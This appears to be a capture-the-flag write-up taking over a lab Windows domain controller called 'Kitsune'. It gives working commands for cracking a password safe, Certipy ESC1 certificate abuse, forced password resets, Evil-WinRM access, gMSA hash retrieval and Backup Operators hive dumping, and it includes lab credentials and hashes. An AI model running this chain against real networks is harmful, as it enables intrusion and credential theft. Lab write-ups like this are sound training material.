Kitsune.md
IP: 10.1.151.214
OS: Windows
Difficulty: Easy
Date: 10/23/2026
Source: HackSmarter
Nmap
nmap -sV -sC -p- <IP>
Open ports:
- 53/tcp open domain
- 88/tcp open kerberos-sec
- 135/tcp open msrpc
- 139/tcp open netbios-ssn
- 389/tcp open ldap
- 445/tcp open microsoft-ds
- 464/tcp open kpasswd5
- 593/tcp open http-rpc-epmap
- 636/tcp open ldapssl
- 3268/tcp open globalcatLDAP
- 3269/tcp open globalcatLDAPssl
- 3389/tcp open ms-wbt-server
- 5985/tcp open wsman
Enumeration
Web
SMB
Authenticated as guest.
nxc smb 10.1.151.214 -u 'guest' -p '' --shares
Then create an entry for the /etc/hosts file.
Add to /etc/hosts.
Other
The file was protected with a passphrase, so pwsafe2john was used.
After finding the hash, crack it.
Once the password was recovered, open the password safe again.
Use this Python script to retrieve the entries through the terminal:
python3 -c "
from pypwsafev3 import PWSafe3
db = PWSafe3('logins.psafe3', 'hellokitty')
for record in db.getEntries():
print(f'Title: {record.getTitle()}')
print(f'User: {record.getUsername()}')
print(f'Pass: {record.getPassword()}')
print('---')
"
This retrieves all credentials.
The new credentials provide more enumeration opportunities.
Start BloodHound and inspect the graphical view.
Shell as schlop
Using bloodyAD’s get_writable, no additional writable objects were found for this user. Continue by enumerating AD CS for possible misconfigurations. Use the latest version of Certipy and filter for vulnerable templates with the -vulnerable flag.
https://github.com/ly4k/Certipy
certipy-ad find -u 'ranch' -p 'R@nch2026!' -dc-ip 10.1.151.214 -target DC01.kitsune.local -vulnerable
The Kitsune-User template is vulnerable to ESC1. This abuses certificate templates where an issuance policy OID is linked to an AD group. Requesting a certificate from that template effectively grants the privileges of the linked group without adding the user as a member.
BloodHound shows that the HelpDesk group has GenericAll over the schlop user. This allows compromise of that account by changing its password.
The schlop user is in the Remote Management Users group, allowing a remote session on the target.
Request the vulnerable certificate and retrieve the PFX. An error occurs because the public key does not meet the minimum required size.
certipy-ad req -u 'ranch@kitsune.local' -p 'R@nch2026!' -dc-ip '10.1.151.214' -target 'DC01.kitsune.local' -ca 'kitsune-DC01-CA' -template 'Kitsune-User'
certipy-ad auth -pfx 'ranch.pfx' -dc-ip '10.1.151.214'
Hash for ranch@kitsune.local:
aad3b435b51404eeaad3b435b51404ee:47d29308446189faa2acec65586963c1
Export KRB5CCNAME=ranch.ccache so the Kerberos libraries know which credential cache to use when authenticating.
Check writable permissions again using bloodyAD:
bloodyAD -d kitsune.local -u ranch --host DC01.kitsune.local -k get writable --right ALL --detail
There are full write permissions over the schlop user object.
Reset the password of the schlop account to a known value:
bloodyad -d kitsune.local -u ranch --host DC01.kitsune.local -k set password 'schlop' 'Pwned123@!'
Authenticate as schlop:
Password: Pwned123@!
nxc smb DC01.kitsune.local -u schlop -p 'Pwned123@!' --shares
Use Evil-WinRM.
Foothold
evil-winrm -i DC01.kitsune.local -u schlop -p 'Pwned123@!'
Privilege Escalation
Vector: After accessing WinRM, a file named networkAuth.cred was found containing a hashed password.
Use PowerShell to recover the password:
01000000d08c9ddf0115d1118c7a00c04fc297eb01000000015eb4da53276741952d904a69c440310000000002000000000010660000000100002000000041903d6d7ae4fa86dd56bfe8741f4a15c9e2226d386f88f6aec7f15a5779f3e6000000000e8000000002000020000000b3604d46abd67313eb9a551d3b289c48c922bada4680807c9b7556e0633f19b920000000ae67f87d8559a61c20268cde4649e3538e0c15a7e7153c33e2fc6f7b13c713a44000000064462a2ea8ee6b2bccf09125fa86779431d4ccea0c9a30f2a325239c4199e26982ae745497a01016f90238173a2eb540b47410a39f97e8cb89c8d3ca14bcc8d7
$cred = Import-Clixml "C:\Users\schlop\Documents\networkAuth.cred"
$cred.GetNetworkCredential().Password
pebble:PebbleIs47!
Authenticate using the recovered credentials:
nxc smb DC01.kitsune.local -u pebble -p 'PebbleIs47!' --shares
BloodHound shows that pebble is a member of the IT group, which has the ReadGMSAPassword permission over the SVC_GMSA$ machine account. This allows retrieval of its NTLM hash and authentication as that account.
The SVC_GMSA$ account is a member of the Backup Operators group. This grants SeBackupPrivilege on the domain controller, allowing the NTDS.dit database to be dumped and domain password hashes extracted.
Retrieve the gMSA NTLM hash using NetExec:
nxc ldap DC01.kitsune.local -u pebble -p 'PebbleIs47!' --gmsa
svc_gmsa$ hash -> 085691c182d60ab1a12466ce7b50d29d
Verify that the hash works:
nxc smb DC01.kitsune.local -u 'svc_gmsa$' -H '085691c182d60ab1a12466ce7b50d29d' --shares
Shell as Administrator
Since SVC_GMSA$ is a member of Backup Operators, remotely back up the SAM and SYSTEM registry hives from the domain controller. Backup Operators do not have the replication rights required for DCSync, so credentials are extracted offline instead.
Use smbclient to retrieve the SYSTEM, SECURITY, and SAM hives and obtain the Administrator hash:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2dffec5d0dda0cbc8bf571471641e001:::
The root flag was obtained.
Flags
- user:
HSM{823c2a4327e8b2e6bd7629961xxxxx} - root:
HSM{13c4897877292fc104173ad41xxxxxx}